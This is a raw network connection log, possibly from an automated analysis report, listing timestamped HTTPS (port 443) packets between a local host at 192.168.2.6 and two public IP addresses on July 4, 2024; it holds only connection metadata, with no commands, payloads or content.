Jul 4, 2024 20:16:38.255582094 CEST	49758	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:38.255599976 CEST	443	49758	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:38.823563099 CEST	443	49758	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:38.825431108 CEST	49758	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:38.825465918 CEST	443	49758	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:38.982975960 CEST	443	49758	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:38.983211040 CEST	443	49758	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:38.983289957 CEST	49758	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:38.983549118 CEST	49758	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:38.984878063 CEST	49759	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.984951973 CEST	443	49759	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.985038042 CEST	49759	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.985285044 CEST	49759	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.985301971 CEST	443	49759	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:39.591769934 CEST	443	49759	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:39.593696117 CEST	49759	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:39.593724012 CEST	443	49759	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:40.513434887 CEST	443	49759	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:40.513552904 CEST	49759	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:40.513578892 CEST	443	49759	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:40.513595104 CEST	443	49759	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:40.513654947 CEST	49759	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:40.514432907 CEST	49759	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:40.516056061 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:40.516096115 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:40.516175032 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:40.516438007 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:40.516448975 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.113260984 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.115031958 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.115051985 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.274996996 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.275489092 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.275499105 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.275571108 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.275599957 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.275639057 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.276226997 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.276293039 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.365039110 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.365159988 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.365196943 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.365226030 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.365279913 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.365288019 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.366183043 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.366251945 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.366259098 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.367079020 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.367137909 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.367145061 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.411278963 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.454762936 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.454780102 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.454852104 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.454912901 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.454935074 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.454952002 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.454977036 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.455756903 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.455837965 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.455851078 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.456516981 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.456583023 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.456589937 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.456653118 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.456712008 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.456717968 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.457622051 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.457691908 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.457699060 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.458400011 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.458465099 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.458471060 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.458643913 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.458707094 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.458714008 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.505099058 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546022892 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546041012 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546103001 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546103001 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546133041 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546154976 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546178102 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546186924 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546191931 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546219110 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546242952 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546247005 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546506882 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546629906 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546629906 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.546638012 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.546977043 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.547015905 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.547023058 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.547029972 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.547061920 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.547386885 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.547446966 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.547455072 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.547955036 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.548223972 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.548253059 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.548269033 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.548732042 CEST	49760	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:41.548748016 CEST	443	49760	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:41.557871103 CEST	49761	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:41.557898045 CEST	443	49761	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:41.558037996 CEST	49761	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:41.558336020 CEST	49761	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:41.558346033 CEST	443	49761	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:42.141068935 CEST	443	49761	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:42.142967939 CEST	49761	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:42.142983913 CEST	443	49761	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:42.324218988 CEST	443	49761	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:42.324295998 CEST	443	49761	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:42.324376106 CEST	49761	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:42.325016022 CEST	49761	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:42.330194950 CEST	49762	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:42.330218077 CEST	443	49762	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:42.330323935 CEST	49762	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:42.330562115 CEST	49762	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:42.330571890 CEST	443	49762	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:42.950515985 CEST	443	49762	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:42.952405930 CEST	49762	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:42.952425957 CEST	443	49762	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:43.692634106 CEST	443	49762	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:43.692749023 CEST	443	49762	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:43.692895889 CEST	49762	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:43.692895889 CEST	49762	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:43.693543911 CEST	49762	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:43.694901943 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:43.694958925 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:43.695046902 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:43.695355892 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:43.695372105 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.338669062 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.340806961 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.340843916 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.509306908 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.510869026 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.510880947 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.510972977 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.511001110 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.511044979 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.514375925 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.514453888 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.600181103 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.600315094 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.600334883 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.601423025 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.601531029 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.601541042 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.602940083 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.602998972 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.603007078 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.604088068 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.604141951 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.604149103 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.645787954 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.696572065 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.696585894 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.696758032 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.696789026 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.696834087 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.696912050 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.696921110 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.697751045 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.697815895 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.697824001 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.698710918 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.698769093 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.698776007 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.699836969 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.699891090 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.699898958 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.700803995 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.700865984 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.700874090 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.700989008 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.701042891 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.701050997 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.701891899 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.701950073 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.701956987 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.755167007 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.792478085 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.792499065 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.792625904 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.792648077 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.793052912 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.793090105 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.793112993 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.793122053 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.793148041 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.793649912 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.793734074 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.793741941 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.793839931 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.793900967 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.793908119 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.794816017 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.794893980 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.794903040 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.795728922 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.795799017 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.795804977 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.795883894 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.795948029 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.795954943 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.796957970 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.797060013 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.797068119 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.797945976 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.797991991 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.798008919 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.798016071 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.798054934 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.798744917 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.798808098 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.798819065 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.799096107 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.799141884 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.799148083 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.799180031 CEST	443	49763	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:44.799228907 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.805083990 CEST	49763	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:44.814949036 CEST	49764	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:44.814975023 CEST	443	49764	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:44.815180063 CEST	49764	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:44.815330029 CEST	49764	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:44.815346003 CEST	443	49764	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:45.410235882 CEST	443	49764	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:45.413142920 CEST	49764	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:45.413158894 CEST	443	49764	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:45.788193941 CEST	443	49764	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:45.788264990 CEST	443	49764	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:45.788331985 CEST	49764	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:45.788755894 CEST	49764	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:45.790376902 CEST	49765	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:45.790404081 CEST	443	49765	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:45.790509939 CEST	49765	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:45.790741920 CEST	49765	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:45.790756941 CEST	443	49765	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:46.421581030 CEST	443	49765	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:46.423424006 CEST	49765	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:46.423449039 CEST	443	49765	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:47.498003960 CEST	443	49765	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:47.498096943 CEST	443	49765	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:47.498192072 CEST	49765	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:47.498192072 CEST	49765	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:47.498866081 CEST	49765	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:47.500478983 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:47.500519037 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:47.500606060 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:47.500916004 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:47.500931025 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.217308998 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.219178915 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.219207048 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.591059923 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.591092110 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.591154099 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.591171026 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.591191053 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.591218948 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.591223001 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.591244936 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.591248989 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.591290951 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.595875978 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.596100092 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.596107006 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.597338915 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.597410917 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.597417116 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.598268032 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.598326921 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.598334074 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.599112988 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.599173069 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.599180937 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.645673037 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.656563997 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.656573057 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.656739950 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.656747103 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.656754017 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.656801939 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.656807899 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.657052994 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.657111883 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.657119036 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.657566071 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.657763958 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.658339977 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.658349037 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.661360025 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.661519051 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.661973000 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.665113926 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.665122986 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.665169954 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.748183012 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.748265982 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.748279095 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.748296976 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.748323917 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.748343945 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.748586893 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.748647928 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.748655081 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.748879910 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.748934031 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.748940945 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.749140024 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.749196053 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.749201059 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.749504089 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.749557018 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.749564886 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.749738932 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.749798059 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.749804974 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.750034094 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.750082016 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.750087976 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753323078 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753380060 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.753386021 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753537893 CEST	443	49766	13.107.139.11	192.168.2.6
